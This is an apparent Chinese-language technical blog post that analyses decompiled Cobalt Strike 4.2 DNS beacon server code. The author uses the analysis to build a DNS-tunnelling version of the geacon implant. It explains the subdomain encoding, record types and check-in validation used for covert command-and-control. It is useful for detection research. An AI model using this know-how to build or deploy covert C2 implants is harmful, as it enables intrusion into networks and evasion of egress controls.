0x00 前言
前面我们已经实现了geacon针对不同profile的实现与功能优化,但是在实战里面,碰到很多不出tcp网的情况,所以以DNS上线也变得比较常见和重要了,特别在LINUX系统下,可能很多人用dnscat等工具,但由于不能与CS联动,觉得使用困难,并且crossc2项目也是没有实现DNSbeacon,所以本文以CS4.2为例子,了解dns beacon通信过程,实现dns版geacon。
0x01 通信协议分析
CS DNS通信协议都在beacon目录的beaconDNS.class文件,我们来一步一步分析此过程:
首先通过wireshark抓包,看看DNS通信情况
可以看到有post,api等前缀的DNS请求记录,在源代码中可以看见,这里我都以aaa.bbb.dns.domain.com此域名作为演示:
public DNSServer.Response respond_nosync(String paramString, int paramInt) {
StringStack stringStack = new StringStack(paramString.toLowerCase(), ".");
if (stringStack.isEmpty())
return this.idlemsg;
String str = stringStack.shift();
if (str.length() == 3 && "stage".equals(stringStack.peekFirst()))
return serveStage(str);
if ("cdn".equals(str) || "api".equals(str) || "www6".equals(str)) {
stringStack = new StringStack(paramString.toLowerCase(), ".");
String str1 = stringStack.shift();
String str2 = stringStack.shift();
str = CommonUtils.toNumberFromHex(stringStack.shift(), 0) + "";
if (this.cache.contains(str, str2))
return this.cache.get(str, str2);
SendConversation sendConversation = null;
if ("cdn".equals(str1)) {
sendConversation = this.conversations.getSendConversationA(str, str1, str2);
} else if ("api".equals(str1)) {
sendConversation = this.conversations.getSendConversationTXT(str, str1, str2);
} else if ("www6".equals(str1)) {
sendConversation = this.conversations.getSendConversationAAAA(str, str1, str2);
}
- stringStack 通过点号分割
- 1-if: 判断stringStack是否为空
- 2-if:会判断aaa的长度是不是等于3,bbb的值是不是等于stage,在payload是Stager情况下,继续下载下一阶段shellcode(只有在host_stage为true时,dns_stager_prepend与dns_stager_subhost配置才有效)
- 3-if:如果是以cdn,api,www6情况下开头的字符串进入下一步判断
- 满足上述条件后,stringStack = new StringStack(paramString.toLowerCase(), “.”); 重新获取字符串进行分割
- 4-if:分割后,获取前三个字符串,判断第三个字符串包含第二个字符串,则获取记录。
- 5-if:如果以cdn开头,就进入getSendConversationA(),就是请求A记录解析
- 6-if:如果以api开头,就进入getSendConversationTXT(),就是请求TXT记录解析
- 7-if:如果以www6开头,就进入getSendConversationAAAA(),就是请求AAAA记录解析
通过这里就可以知道上面抓取流量包的意义了,继续分析下面代码:
if (!sendConversation.started() && paramInt == 16) {
response = DNSServer.TXT(new byte[0]);
} else if (!sendConversation.started()) {
byte[] arrayOfByte = this.controller.dump(str, 72000, 1048576);
if (arrayOfByte.length > 0) {
arrayOfByte = this.controller.getSymmetricCrypto().encrypt(str, arrayOfByte);
response = sendConversation.start(arrayOfByte);
} else if (paramInt == 28 && "www6".equals(str1)) {
response = DNSServer.AAAA(new byte[16]);
} else {
response = DNSServer.A(0L);
}
} else {
response = sendConversation.next();
}
if (sendConversation.isComplete())
this.conversations.removeConversation(str, str1, str2);
this.cache.add(str, str2, response);
return response;
}
这里就是实现了一个基本DNS功能,对不同记录查询实现应答和缓存。
0x02 主要处理流程
if ("www".equals(str) || "post".equals(str)) {
String str2 = "";
String str4 = stringStack.shift();
char c = str4.charAt(0);
stringStack = new StringStack(paramString.toLowerCase(), ".");
String str3 = stringStack.shift();
if (c == '1') {
String str5 = stringStack.shift().substring(1);
str2 = str5;
} else if (c == '2') {
String str5 = stringStack.shift().substring(1);
String str6 = stringStack.shift();
str2 = str5 + str6;
} else if (c == '3') {
String str5 = stringStack.shift().substring(1);
String str6 = stringStack.shift();
String str7 = stringStack.shift();
str2 = str5 + str6 + str7;
} else if (c == '4') {
String str5 = stringStack.shift().substring(1);
String str6 = stringStack.shift();
String str7 = stringStack.shift();
String str8 = stringStack.shift();
str2 = str5 + str6 + str7 + str8;
}
String str1 = stringStack.shift();
str = CommonUtils.toNumberFromHex(stringStack.shift(), 0) + "";
if (this.cache.contains(str, str1))
return this.cache.get(str, str1);
RecvConversation recvConversation = this.conversations.getRecvConversation(str, str3, str1);
recvConversation.next(str2);
if (recvConversation.isComplete()) {
this.conversations.removeConversation(str, str3, str1);
try {
byte[] arrayOfByte = recvConversation.result();
if (arrayOfByte.length == 0) {
CommonUtils.print_warn("Treated DNS request " + paramString + " (" + paramInt + ") as a non-C2 message");
} else if ("www".equals(str3)) {
this.controller.process_beacon_metadata(this.listener, "", arrayOfByte);
} else if ("post".equals(str3)) {
this.controller.process_beacon_callback(str, arrayOfByte);
}
} catch (Exception exception) {
MudgeSanity.logException("Corrupted DNS transaction? " + paramString + ", type: " + paramInt, exception, false);
}
}
this.cache.add(str, str1, this.idlemsg);
return this.idlemsg;
}
if (this.stager_subhost != null && paramString.length() > 4 && paramString.toLowerCase().substring(3).startsWith(this.stager_subhost))
return serveStage(paramString.substring(0, 3));
if (CommonUtils.isHexNumber(str) && CommonUtils.isDNSBeacon(str)) {
str = CommonUtils.toNumberFromHex(str, 0) + "";
this.cache.purge();
this.conversations.purge();
this.controller.getCheckinListener().update(str, System.currentTimeMillis(), null, false);
return this.controller.isCheckinRequired(str) ? DNSServer.A(this.controller.checkinMask(str, this.idlemask)) : this.idlemsg;
}
CommonUtils.print_info("DNS: ignoring " + paramString);
return this.idlemsg;
}
这里我还是以一个流程图表示:
例如post.3ffaebe446b4c94719706c6720b1f18622cf8d9ed213058be2b642899.91db6ba3d82a4f60ee471c38858a22aecd3c64e517eaf311d7bec439.a41b34adce38be69148fa99999c68e2b221619567514ea017f8fe413.17457222e.5ff222fa.dns.domain.com,可以得到变量对应值如下:
- str5=ffaebe446b4c94719706c6720b12286f1cf8d9ed213058be2b642899
- str6=91db6ba3d82a4f60ee471c38858a22aecd3c64e517eaf311d7bec439
- str7=a41b34adce38be69148fa99999c68e2b221619567514ea017f8fe413
- str2=str5+str6+str7
- str3=post
- str1=17457222e
- str=5ff222fa
DNS记录开头对应的含义与上线顺序如下,都会先以A记录的方式把metadata传输到服务端,才能切换到DNS TXT模式:
- 4fbffdfe 以这样16进制开头,表示task id,会用于上线和后续传输
- www开头表示metadata信息使用A记录传输
- api开头表示切换为TXT传输
- cdn开头表示为A记录传输
- www6开头表示为AAAA记录传输
- post开头表示执行对应指令,参考上面示例解析
0x03 生成一个上线的demo
在beacondns.class中下面代码就是用于第一次上线,因为dns server会丢弃掉非CS beacon的查询,所以要做如下判断:
if (CommonUtils.isHexNumber(str) && CommonUtils.isDNSBeacon(str)) {
str = CommonUtils.toNumberFromHex(str, 0) + "";
this.cache.purge();
this.conversations.purge();
this.controller.getCheckinListener().update(str, System.currentTimeMillis(), null, false);
return this.controller.isCheckinRequired(str) ? DNSServer.A(this.controller.checkinMask(str, this.idlemask)) : this.idlemsg;
}
isDNSBeacon:
public static boolean isDNSBeacon(String paramString) {
long l = toNumberFromHex(paramString, 0);
return (l > 0L && (l & 0x4B2L) == 1202L);
}
public static int toNumberFromHex(String paramString, int paramInt) {
try {
return Integer.parseInt(paramString, 16);
} catch (Exception exception) {
return paramInt;
}
}
这里用golang实现此功能就行,效果如下:
最终通过模仿通信的方式,传输几段A记录,就可以上线如下:
0x04 总结
本文主要通过阅读CS 源代码流程,了解处理逻辑,在通过wireshark抓包,使用客户端模拟通信DNS请求。主要实现了meta原信息的传输,命令获取,传输执行结果,基本只要对geacon的各个http请求换成DNS 笛卡儿积的请求,因为功能性的函数基本与Geacon一样,这里主要处理DNS延迟与丢包等问题。所以在客户端实现时,可以优化整个传输的过程,提高效率。
0x05参考
探测CS的DNS beacon服务器:https://paper.seebug.org/1568/#01-stager
dns 重定向:https://f44z.com/posts/cobalt-strike-opsec-dns